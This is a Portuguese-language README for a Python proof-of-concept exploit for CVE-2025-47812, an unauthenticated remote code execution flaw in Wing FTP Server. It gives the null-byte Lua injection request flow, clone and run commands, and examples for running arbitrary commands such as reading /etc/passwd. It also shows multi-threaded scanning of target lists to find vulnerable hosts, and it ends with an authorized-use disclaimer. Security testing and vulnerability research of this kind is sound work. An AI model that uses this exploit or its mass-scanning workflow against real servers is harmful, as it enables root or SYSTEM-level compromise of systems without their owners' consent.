
PoC em Python para CVE-2025-47812, RCE não autenticado no Wing FTP Server <= 7.4.3 via injeção Lua com byte nulo em arquivos de sessão
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / / /|_/ / / /
/ /_/ /___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
Exploit de prova de conceito para CVE-2025-47812, uma vulnerabilidade de execução remota de código não autenticada nas versões do Wing FTP Server anteriores à 7.4.4.
| Campo | Detalhe |
|---|
| CVE | CVE-2025-47812 |
| Afetados | Wing FTP Server <= 7.4.3 |
| Tipo | Execução Remota de Código Não Autenticada |
| Privilégios | root (Linux) / SYSTEM (Windows) |
| Fornecedor | wftpserver.com |
| Autor Original | Sheikh Mohammad Hasan, também conhecido como 4m3rr0r |
| Modificado por | d3vn0mi |
A função c_CheckUser() do Wing FTP Server trunca o nome de usuário em um byte nulo (%00) para fins de autenticação, mas o nome de usuário completo sem sanitização — incluindo tudo após o byte nulo — é gravado em um arquivo de sessão Lua. Quando um endpoint autenticado, como /dir.html, é acessado, o servidor executa esse arquivo de sessão, acionando o código Lua injetado com privilégios elevados.
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. Server authenticates "anonymous" (truncated at NULL)
but writes full payload into session file → returns UID cookie
3. GET /dir.html (Cookie: UID=<extracted_uid>)
Server loads session file → executes injected Lua → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL Single target URL (e.g. http://192.168.134.130)
-f, --file FILE File containing target URLs (one per line, # comments allowed)
exploit options:
-c, --command COMMAND Command to execute on the remote server (enables verbose output)
-U, --username USERNAME Username for the exploit payload (default: anonymous)
-P, --password PASSWORD Password for the exploit payload (default: empty)
output:
-v, --verbose Enable verbose / debug logging
-o, --output OUTPUT Save vulnerable URLs to this file
-l, --log-file LOG_FILE Write detailed log to this file
network:
-t, --threads THREADS Concurrent threads for multi-target scans (default: 1)
--timeout TIMEOUT HTTP request timeout in seconds (default: 15)
--retries RETRIES Number of retries on connection failure (default: 2)
--no-verify Disable SSL certificate verification
# Check a single target
python3 exploit.py -u http://192.168.1.10
# Run 'whoami' and see full output
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# Scan a list with 8 threads, log everything to a file
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# Use custom credentials with SSL verification disabled
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# Verbose mode for debugging
python3 exploit.py -u http://192.168.1.10 -v
--log-file-t para grandes listas de alvos--retries configurável)--no-verify para certificados autoassinados# e deduplicação automática-c mostra a saída completa do comandoEsta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. Use-a somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.